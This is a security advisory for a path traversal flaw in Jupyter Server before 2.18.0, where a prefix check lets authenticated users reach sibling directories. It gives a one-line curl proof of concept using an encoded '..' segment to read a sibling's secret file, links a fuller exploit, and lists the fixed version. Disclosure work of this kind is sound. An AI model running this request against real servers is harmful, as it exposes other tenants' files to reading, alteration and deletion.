Loading advisory.
Loading advisory.
Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
Published 2026-05-05 16:49 UTC · Modified 2026-09-10 03:51 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| jupyter-server | PyPI | < 2.18.0 versions 0.0.0, 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.1.0, 0.1.1, 0.2.0, 0.2.1, 0.3.0, 1.0.0, 1.0.0rc0, 1.0.0rc1, 1.0.0rc10, 1.0.0rc11, 1.0.0rc12, 1.0.0rc13, 1.0.0rc14, 1.0.0rc15 and 135 more | 2.18.0 | pip install --upgrade 'jupyter-server>=2.18.0' |
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
Minimal:
.
├── test/ <- root directory.
│ └── test.txt
└── testtest/
└── secret.txt <- file to exfiltrate that we should not be able to access via APIHOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"
curl -s -X POST \
"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
-H "Authorization: token $TOKEN"Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006
It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.
This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.
In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.
Use folder names that do not overlap.
Thank you to @stef41 for providing a useful PoC.
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.006 on 2026-11-24 to 0.007 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.006 | first score | v2026.06.15 |
| 2026-11-26 | 0.007 | 0.006 | v2026.06.15 |